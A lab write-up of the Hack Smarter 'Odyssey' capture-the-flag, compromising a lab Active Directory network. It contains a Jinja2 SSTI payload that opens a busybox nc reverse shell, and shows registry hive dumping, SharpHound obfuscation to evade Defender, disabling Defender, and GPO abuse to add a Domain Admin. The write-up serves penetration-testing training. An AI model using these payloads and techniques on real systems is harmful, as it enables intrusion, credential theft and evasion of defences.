> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/odyssey.md).

# Odyssey

{% embed url="<https://www.hacksmarter.org/courses/1205dc56-4441-47f0-b7d0-47b2113c43dc>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

You are a member of the **Hack Smarter Red Team** and have been assigned to perform a black-box penetration test against a client's critical infrastructure. There are three machines in scope: one Linux web server and two Windows enterprise hosts.

The client’s environment is currently in a degraded state due to ongoing migration efforts; the **Domain Controllers are experiencing synchronization failures**. Consequently, standard automated LDAP enumeration tools (such as BloodHound) are expected to fail or return unreliable data. The client wants to assess if an attacker can thrive in this "broken" environment where standard administrative tools are malfunctioning.

**Note From Ryan Yager**

Odyssey was built off a recent engagement that I had where the DC's were not syncing correctly. This caused a lot of problems during the engagement. We also had to go through a proxy, which made tools like LDAP very hard to use. Your normal tools may fail... can you think outside the box?

## Summary

<details>

<summary>Summary</summary>

In Odyssey we enumerate a multi-host Active Directory environment consisting of a domain controller, a Windows workstation, and a Linux web server. Exploiting a Server-Side Template Injection (SSTI) vulnerability on the web portal, we achieve remote code execution and gain a reverse shell as `www-data`, pivoting to `root` on the web server through exposed SSH keys. Discovering credentials within configuration files, we authenticate to the internal workstation as `ghill_sa`, a local `Backup Operator`. Using registry hive extraction and offline hash dumping, we escalate to local `Administrator` on `WKST-01` and uncover additional credentials for domain users. Pivoting into the domain, we leverage `bbarkinson`'s privileges to create a controlled machine account, enumerate with SharpHound the domain, and identify a `GenericWrite` misconfiguration on the `Finance` GPO. Abusing this through `pyGPOAbuse`, we add `bbarkinson` to the `Domain Admins` group, authenticate to the domain controller, and retrieve the final flag.&#x20;

</details>

## Recon

In our initial reconnaissance phase, we perform a port scan on every available machine and manually probe the services available.

### DC-01

We use rustscan `-b 500 -a 10.176.156 -- -sC -sV -Pn` to enumerate all TCP ports on the `DC-01` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.1.176.156 -- -sC -sV -Pn
```

<figure><img src="/files/QwipHmSvtqXhx2bf4D24" alt=""><figcaption></figcaption></figure>

Our RustScan of `10.1.176.156` identified a Windows domain controller named `DC01.hsm.local` in the `hsm.local` domain. Exposed services include DNS `53`, Kerberos `88/464`, multiple MSRPC endpoints `135, 593, 49664+`, SMB `139/445`, LDAP and LDAPS `389/636/3268/3269` tied to Active Directory, RDP `3389`, WinRM `5985`, and .NET Remoting `9389`. This indicates a fully integrated Windows AD environment where LDAP/LDAPS and Kerberos provide authentication, SMB and RPC enable remote management, and RDP/WinRM serve as remote access points.

<figure><img src="/files/lZ398qGyRE30oAnaHBJk" alt=""><figcaption></figcaption></figure>

### WKST-01

We use rustscan `-b 500 -a 10.1.196.123 -- -sC -sV -Pn` to enumerate all TCP ports on the `WKST-01` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.1.196.123 -- -sC -sV -Pn
```

<figure><img src="/files/1HdFiItorPzdVoEu3XdA" alt=""><figcaption></figcaption></figure>

On the `WKST-01` host we were able to identify SMB `139/445`, RDP `3389` and some MSRPC endpoints `49669+`.

<figure><img src="/files/TJMjQSmQQ2pF9g8n9o9p" alt=""><figcaption></figcaption></figure>

#### SMB

We try to access the SMB service anonymously, but without success. At least we are able to identify a Windows 11 / Server 2025 Build 26100 system.

```
nxc smb WKST-01 -u guest -p ''
```

```
nxc smb WKST-01 -u '' -p ''
```

<figure><img src="/files/gGEkB3FIDHQslqKJX3Ui" alt=""><figcaption></figcaption></figure>

### Web-01

We use rustscan `-b 500 -a 10.1.237.199 -- -sC -sV -Pn` to enumerate all TCP ports on the `Web-01` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.1.237.199 -- -sC -sV -Pn
```

<figure><img src="/files/iHdSGeAvYL8uAIXzthLR" alt=""><figcaption></figcaption></figure>

Here we only have SSH open on port `22` and a web server running on port `5000`. The host is a Linux machine.

<figure><img src="/files/5ioIHF29jZio5Tk7P4L4" alt=""><figcaption></figcaption></figure>

We visit the website hosted on port 5000 and have the Odyssey Portal in front of us. We are asked to enter our template, prefilled is the command `ping`.&#x20;

```
http://web-01:5000/
```

<figure><img src="/files/J0kDMUSYwtgkUokRYyCN" alt=""><figcaption></figcaption></figure>

At the `/support` page we are able to identify an email address.

```
http://web-01:5000/support
```

<figure><img src="/files/ErLtJSC04ELIax5JNUjz" alt=""><figcaption></figcaption></figure>

## Shell as ghill\_sa on Web 01

We stay at the initial page enumerated, the index page and test the input for different types of attacks like command injection, SSTI injection and so on. We start with a simple character.

<figure><img src="/files/Z10uZ3G1gw4Agl4yIG59" alt=""><figcaption></figcaption></figure>

The character gets rendered, no issues yet.

<figure><img src="/files/hNaWsPy428bpLFAddkxi" alt=""><figcaption></figcaption></figure>

Next, we test for Server Side Template Injection (SSTI).&#x20;

With `{{7*7}}`  (a common SSTI test payload) we can check if the application evaluates it and returns `49`.  If so it means that user input is being rendered by a template engine like Jinja2 without proper sanitization.

```
{{7*7}}
```

<figure><img src="/files/CnQfZkDtPJmLrOAn0Bx5" alt=""><figcaption></figcaption></figure>

We see it gets evaluated. So we have an SSTI with which we might get an RCE.

<figure><img src="/files/QhzXxHjgN6OgFHN4QpUy" alt=""><figcaption></figcaption></figure>

We look for a simple Jinja2 SSTI payload and the first resource I like to refer to is the one by Ingo Kleiber. We try the following payload...

{% embed url="<https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/>" %}

```
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

<figure><img src="/files/xCOZAPOzaTCoOtkd63hc" alt=""><figcaption></figcaption></figure>

... and we see it gets evaluated. We are `www-data`.

<figure><img src="/files/ZwGUsWmaf2xyCQUQUSwj" alt=""><figcaption></figcaption></figure>

Next, we adapt the payload to spawn a reverse shell using busybox. We set up a listener using Penelope before. We enter the payload...

{% embed url="<https://github.com/brightio/penelope>" %}

```
busybox nc 10.200.21.30 4445 -e bash
```

{% code overflow="wrap" %}

```
{{request.application.__globals__.__builtins__.__import__('os').popen('busybox nc 10.200.21.30 4445 -e bash').read()}}
```

{% endcode %}

<figure><img src="/files/JmKMaqOQ3Gr0emV6OKtg" alt=""><figcaption></figcaption></figure>

... and receive a reverse shell.

<figure><img src="/files/c1y9xrOdVeByYWiZDhHR" alt=""><figcaption></figcaption></figure>

## Shell as root on Web01

While enumerating the targets, we notice the processing of ssh key files in .bash\_history. We look for these.

```
cat .bash_history
```

<figure><img src="/files/wRuFScI5yRRiPH9phjd5" alt=""><figcaption></figcaption></figure>

The user cannot be determined from the authorized\_keys file. Nevertheless, we copy the key to our system.

<figure><img src="/files/qC9Dh64FoUAK0KASo69r" alt=""><figcaption></figcaption></figure>

We adjust the permissions on the key and then attempt to log in as `root` to Web-01 via SSH, which is successful. We find the first flag in `/root/user.txt` on Web-01.

```
chmod 600 id_ed25519 
```

```
ssh -i id_ed25519 root@Web-01
```

<figure><img src="/files/5PqaFpp58da4qSf35jiM" alt=""><figcaption></figcaption></figure>

## Shell as ghill\_sa on WKST-01&#x20;

In the cronjobs, we find an entry that writes `/etc/update.conf` to `\dc01.hsm.local\share`.

```
crontab -l
```

<figure><img src="/files/SzoDitS1m5r7fUYdxNDp" alt=""><figcaption></figcaption></figure>

If we examine the `/etc/update.conf` file, we find the credentials of the user `ghill_sa`.

```
cat /etc/update.cong
```

<figure><img src="/files/UtpDVpSUEmt7ofe9JeyF" alt=""><figcaption></figcaption></figure>

We try those credentials using RDP on WKST-01 and are able to successfully log in. We are now ghill\_sa on WKST-01. But no flags yet.

<figure><img src="/files/DFMCWhS76OcVGILKaoDR" alt=""><figcaption></figcaption></figure>

If we try to authenticate against smb and rdp using Netexec like follows it will fail.

```
nxc smb WKST-01 -u ghill_sa -p 'REDACTED!' --shares
```

With `--local-auth` we force Netexec to authenticate against the local SAM database of WKST-01 instead of attempting domain authentication, which could fail recalling the issue in the scenario. The following command works because the credentials are valid locally on the workstation, not in the domain context.

```
nxc smb WKST-01 -u ghill_sa -p 'REDACTED!' --shares --local-auth
```

<figure><img src="/files/MHeNqatvsB2aSqn0fYao" alt=""><figcaption></figcaption></figure>

## Access as Administrator on WKST-01

On WKST-01 as ghill\_sa we see we are in the Backup Operators group.

```
whoami /all
```

<figure><img src="/files/WucktMmaVSNZjQuOiOQA" alt=""><figcaption></figcaption></figure>

As we are part of Backup Operators, we have permission to copy the SAM, SYSTEM, and SECURITY hives.&#x20;

{% code overflow="wrap" %}

```
BUILTIN\Backup Operators               Alias            S-1-5-32-551 Group used for deny only
```

{% endcode %}

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets#sam-lsa-secrets>" %}

We might fail doing it locally, but we can back these up remotely using Impackets reg.py.

<figure><img src="/files/nT8FoXBbPpuZRnHhtiBg" alt=""><figcaption></figcaption></figure>

We now use reg.py to back up the hives directly to our share. To do this, we use smbserver.py to start the service.

```
smbserver.py -smb2support EXEGOL $(pwd)
```

<figure><img src="/files/MGL5OKnoj0gedFC8CoV5" alt=""><figcaption></figcaption></figure>

We use backup to save all three of the aforementioned hives to the share.

{% hint style="info" %}
This can lead to timeouts and possibly corrupt the files. Alternatively, the backups can be stored on the system locally using reg.py, for example in `C:\Users\ghill_sa\Desktop`, and then exfiltrated using any means of your choice.
{% endhint %}

```
reg.py ghill_sa:'REDACTED'@WKST-01 backup -o '\\10.200.21.30\EXEGOL'
```

<figure><img src="/files/YbD6edZ0fZWHCQCGnXmc" alt=""><figcaption></figcaption></figure>

Once we have successfully extracted the hives, we can use secretsdump.py to extract the hashes from SAM and SYSTEM.

```
secretsdump.py -sam './SAM.save' -system './SYSTEM.save'  LOCAL
```

<figure><img src="/files/s1AHbk6C0qDYcMPzfBdH" alt=""><figcaption></figcaption></figure>

We are able to authenticate as the local Administrator using local-auth.

```
nxc smb WKST-01 -u Administrator -H REDACTED --shares --local-auth
```

<figure><img src="/files/RH3CC6B6HEGELPUdKLpx" alt=""><figcaption></figcaption></figure>

From there we are able to use smbclient to explore the C: drive and get the second flag.

{% embed url="<https://tools.thehacker.recipes/impacket/examples/smbclient.py>" %}

```
smbclient.py -hashes :REDACTED administrator@WKST-01
```

<figure><img src="/files/IdAiGlpjycddMTffT1Ms" alt=""><figcaption></figcaption></figure>

## Obfuscation of SharpHound&#x20;

{% hint style="warning" %}
This step is not necessary, as we can disable Microsoft Defender using local admin access.

Since we did not initially obtain an admin shell, enumeration continued locally using the user ghill\_sa, but this failed because Microsoft Defender was enabled and had detected SharpHound. As a workaround, we then obfuscated SharpHound using CodeCeption and discovered that WKST could not able to reach the domain. We may have flaws in the network configuration but those can only be changed by an admin...

You can skip to Shell as Administrator on WKST-01
{% endhint %}

<figure><img src="/files/Boa7rCEkZQfGPeFFei9y" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.pavel.gr/blog/obfuscating-rubeus-using-codecepticon>" %}

We clone the SharpHound repository and the Codeception repository:

{% embed url="<https://github.com/SpecterOps/SharpHound>" %}

{% embed url="<https://github.com/Accenture/Codecepticon>" %}

Next, we need to compile Codeception first:

> Open the solution with Visual Studio. Make sure it's set to `Release`, and `Build`.
>
> Once Codecepticon has been compiled, all the required files will be under the `Release` directory.

We can either generate the command using the `CommandLineGenerator.html` or use the provided command of the blog. We'll use the command from the blog with slight adjustments to the path and profile regarding SharpHound:

{% code overflow="wrap" %}

```
.\Codecepticon.exe --module csharp --action obfuscate --verbose --path "<your path>\Sharphound\Sharphound.sln" --map-file "<your path>\Sharphound\Obfuscated-Mapping.html" --profile sharphound --rename all --rename-method markov --markov-min-length 3 --markov-max-length 9 --markov-min-words 3 --markov-max-words 4 --string-rewrite --string-rewrite-method file --string-rewrite-extfile "<your path>\Sharphound\Sharphound\debug.log
```

{% endcode %}

> `--module csharp` Defines the module we want to use, current options are: `csharp`, `powershell`, `vba`, and `sign`.
>
> `--action obfuscate` Define the action - specific to the module selected above.
>
> `--path "C:\code\Rubeus\Rubeus.sln"` Path to the solution you are targeting.
>
> `--map-file "C:\code\Rubeus\Obfuscated-Mapping.html"` This output file will contain a mapping between original and obfuscated values - something we will refer to further down this post. As long as you are using the final obfuscated executable, you need this file in your life - do not delete it.
>
> `--profile sharphound` Define a profile (from a pre-existing supported list). Just to clarify, this does not mean that Codecepticon only supports applications that have a profile. A profile is just extra tweaks that Codecepticon performs in order to add some final touches that are specific to that tool.
>
> `--rename all` Rename everything - namespaces, classes, enums, etc.
>
> `--rename-method markov` Set the identifier renaming method to `markov` which is auto-generation of "words that look English, but aren't". This is for helping with keeping the entropy of the executable lower.
>
> `--markov-min-length 3 --markov-max-length 9` All auto-generated words will be between 3 and 9 characters.
>
> `--markov-min-words 3 --markov-max-words 4` Each obfuscated identifier will be a combination of 3 to 4 auto-generated words.
>
> `--string-rewrite` Define that we also want to rewrite strings.
>
> `--string-rewrite-method file` Define the string rewrite method as `file`. This means that all strings will be taken out of the executable and saved in an external file, that has to be present during execution (in order to load the strings during runtime). This was implemented to minimise the risk of AV/EDRs detection - can't scan what isn't there, right?
>
> `--string-rewrite-extfile "C:\code\Rubeus\debug.log"` Specify the location of the external file where all the strings will be saved in.

After running the command the SharpHound project has been modified.

<figure><img src="/files/UIVFSriwdALWo2LO0PSV" alt=""><figcaption></figcaption></figure>

Furthermore we get an `Obfuscated-Mapping.html` file that provides information about the obfuscated parameters. Since these are also obfuscated.

Now open the SharpHound project in Visual Studio Code and compile the obfuscated version. We receive the binary (called `SymmeAntsFome.exe` in this case ) and a `debug.log`. The `debug.log` is required to rewrite the strings back to the original values, this file is required to run the obfuscated binary.

<figure><img src="/files/lIRjxqwoO0CoundxW4L8" alt=""><figcaption></figcaption></figure>

From the `Obfuscated-Mapping.html` we identify that `collectionmethods` resolves to `FlablersEngriesToxicate`

<figure><img src="/files/eVGimQOkQN4OFQmDBEIp" alt=""><figcaption></figcaption></figure>

Unfortunately we did not find the All parameter passed to `collectionmethods`  but we can identify it be reviewing the original and modified source and find it. In this case: `EllyJokenoidMultist`

<figure><img src="/files/M3i4W70XGHenObhwsHLz" alt=""><figcaption></figcaption></figure>

So the following command...

```
./SharpHound.exe -c All
```

&#x20;...translates to:

{% code overflow="wrap" %}

```
 ./SymmeAntsFome.exe -FlablersEngriesToxicate EllyJokenoidMultist
```

{% endcode %}

If we haven't already done so, we start our SMB server...

```
smbserver.py -smb2support EXEGOL $(pwd) -username 0xb0b -password 0xb0b
```

<figure><img src="/files/560n0bcf5g546u0Npqkv" alt=""><figcaption></figcaption></figure>

... and mount the share on WKST-01

```
net user x:\\10.200.21.30\EXEGOL /user:0xb0b 0xbn0b
```

<figure><img src="/files/7E9gAMhbu5ac54IZUj2W" alt=""><figcaption></figcaption></figure>

Next, we copy the obfuscated Sharphound.exe and the debug.log to the machine.

```
copy x:\SymmeAntsFome.exe .
```

```
copy x:\debug.log .
```

<figure><img src="/files/QoZVllRHCrDkzp0J0AOv" alt=""><figcaption></figcaption></figure>

And run it. We see its unable to get the current domain.

```
 ./SymmeAntsFome.exe -FlablersEngriesToxicate EllyJokenoidMultist
```

<figure><img src="/files/Vpyp6YAzrj71Xr9O5mD5" alt=""><figcaption></figcaption></figure>

After further testing, we have determined that WKST-01 cannot reach the domain controller via name resolution. We therefore need to update this in the network configuration.

For now we generate the Hosts file with the user `bbarkinson`, which we have also received the hash from the SAM and SYSTEM hive dump.

{% code overflow="wrap" %}

```
nxc smb 10.1.93.3 -u 'bbarkinson' -H 'REDACTED' --generate-hosts-file hosts
```

{% endcode %}

<figure><img src="/files/WpCFrChfc2danRRc0PRQ" alt=""><figcaption></figcaption></figure>

```
10.1.93.3     DC01.hsm.local hsm.local DC01
```

## Shell as Administrator on WKST-01

To change the network configuration on WKST-01, we need an interactive session as admin. We already have the hash. Using NetExec, we can execute commands on the system. We simply change the local admin password as follows:

{% code overflow="wrap" %}

```
nxc smb WKST-01 -u 'Administrator' -H 'REDACTED' --local-auth  -x 'net user Administrator Pwned123@!'
```

{% endcode %}

<figure><img src="/files/gxcCdwRavs2uqfNDt3Sq" alt=""><figcaption></figcaption></figure>

After issuing the command, we test whether we can authenticate with the new password set. We are successful.

```
nxc smb WKST-01 -u 'Administrator' -p 'Pwned123@!' --local-auth 
```

<figure><img src="/files/8u7YhKLwD4AGKlfQJGH8" alt=""><figcaption></figcaption></figure>

We log in via RDP as `Administrator`.

<figure><img src="/files/8dCv5Tl8DpES5iXye8Gz" alt=""><figcaption></figcaption></figure>

Now that we are administrators, we can disable Microsoft Defender.

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

Now we can also use the non-obfuscated version of SharpHound without any problems. This makes things easier.

```
.\SharpHound.exe
```

<figure><img src="/files/kluAs476IPNaGDPNx0yS" alt=""><figcaption></figcaption></figure>

In `Control Panel -> Network and Internet -> Network and Sharing Center`

we change the Adapter configuration `Adapter -> Properties -> Internet Protocol Version 4` to set the preferred DNS server to the IP of the domain controller `DC-01`.

<figure><img src="/files/rBhLAAD0rFm3VbPOm41k" alt=""><figcaption></figcaption></figure>

Now we are able to reach out to the domain controller, but can't authenticate as the local Administrator.

```
SharpHound.exe -c all -d hsm.local --domaincontroller dc01.hsm.local
```

<figure><img src="/files/fFhmGBrV7PcZm4a9XZUb" alt=""><figcaption></figcaption></figure>

## Shell as LOCAL SYSTEM (WKST-01$)

As a local administrator we can spawn a NT Authority System shell via the Sysinternals PsExec.&#x20;

This will allow us to authenticate agains the domain controller, because we will become `LOCAL SYSTEM` / `WKST-01$`. With that we have the permission to perform LDAP queries and have sufficient rights for the SharpHound collection. We did it already in Hoppers Origins: <https://0xb0b.gitbook.io/writeups/tryhackme/2025/advent-of-cyber-25-side-quest/hoppers-origins#bloodhound-enumeration-2>&#x20;

{% embed url="<https://learn.microsoft.com/de-de/sysinternals/downloads/psexec>" %}

{% hint style="info" %}
Run PowerShell as Administrator to be able to use PsExec.exe
{% endhint %}

We spawn the powershell session as NT Authroity System usin PsExec.

```
curl http://10.200.21.30/PsExec.exe -o PsExec.exe
```

<figure><img src="/files/SCjFzTxafoyRSBe7hs5L" alt=""><figcaption></figcaption></figure>

```
.\PsExec -i -s powershell
```

<figure><img src="/files/XfTRb9G7mxeShEf11U3O" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
In my RDP session, I had an error where my keystrokes were not recognized in the newly spawned PowerShell terminal. If this is the case, the commands can also simply be copied into the terminal.
{% endhint %}

<figure><img src="/files/ID6oxaTtKOa8HGAZfNLM" alt=""><figcaption></figcaption></figure>

Now we are able to run SharpHound.exe and collect the data.

```
.\SharpHound.exe -c all
```

<figure><img src="/files/zUyyebgG2elcQ9Jru2hZ" alt=""><figcaption></figcaption></figure>

We transfer the files to our attacker machine and ingest the data to BloodHound.

<figure><img src="/files/uBJyvCJij9gGVzjCwDwm" alt=""><figcaption></figcaption></figure>

We see that the user `bbarkinson` has a `GenericWrite` permission over the `FINANCE POLICY`.

<figure><img src="/files/TKwXTIanyV0n7OugkiQs" alt=""><figcaption></figcaption></figure>

This allows us to update this GPO to execute command on behalf of an `Administrator`:

{% embed url="<https://www.thehacker.recipes/ad/movement/group-policies>" %}

## Access as bbarkinson on DC-01

We see we can authenticate ourselves to the domain controller using `bbarkinson`'s hash.&#x20;

```
nxc smb DC-01 -u users.txt -H hashes.txt --no-bruteforce --continue-on-success
```

<figure><img src="/files/YAq0h0nJNY1ljURxqLly" alt=""><figcaption></figcaption></figure>

## Shell as bbarkinson (added to Domain Admins) on DC-01

We are recalling the machine Sysco where we already abused such permissions over a GPO.

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter/labs/sysco#shell-as-local-admin>" %}

With `pyGPOabuse` we can update an existing GPO and add or modfiy users and groups:

{% embed url="<https://www.thehacker.recipes/ad/movement/group-policies>" %}

> pyGPOabuse, update an existing GPO - add a local admin\
> pygpoabuse 'domain'/'user':'password' -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

<figure><img src="/files/sFEqWYtIuNdmxKNgoUH3" alt=""><figcaption></figcaption></figure>

Our idea is now to change the password of bbarkinson and add that user to the Domain Admins group. We do that with the following command:

{% code overflow="wrap" %}

```
pygpoabuse.py 'hsm.local'/'bbarkinson' \
  -hashes :REDACTED \
  -gpo-id '526CDF3A-10B6-4B00-BCFA-36E59DCD71A2' \
  -command "net user bbarkinson Pwned123@! && net group \"Domain Admins\" bbarkinson /add" -f
```

{% endcode %}

<figure><img src="/files/9RRl0sRX3uzPCqMClkrw" alt=""><figcaption></figcaption></figure>

After a short duration we are able to authenticate as `bbarkinson`.

```
nxc smb DC01.hsm.local -u 'bbarkinson' -p 'Pwned123@!'
```

<figure><img src="/files/f8auUOBFywMTFakD7ATX" alt=""><figcaption></figcaption></figure>

We are able to RDP into the domain controller as bbarkinson, whom is now Domain Admin and we can read the final flag at `C:\Users\Administrator\Desktop\root.txt`.

<figure><img src="/files/eoFYQjKbhdCWLLcYvowc" alt=""><figcaption></figcaption></figure>
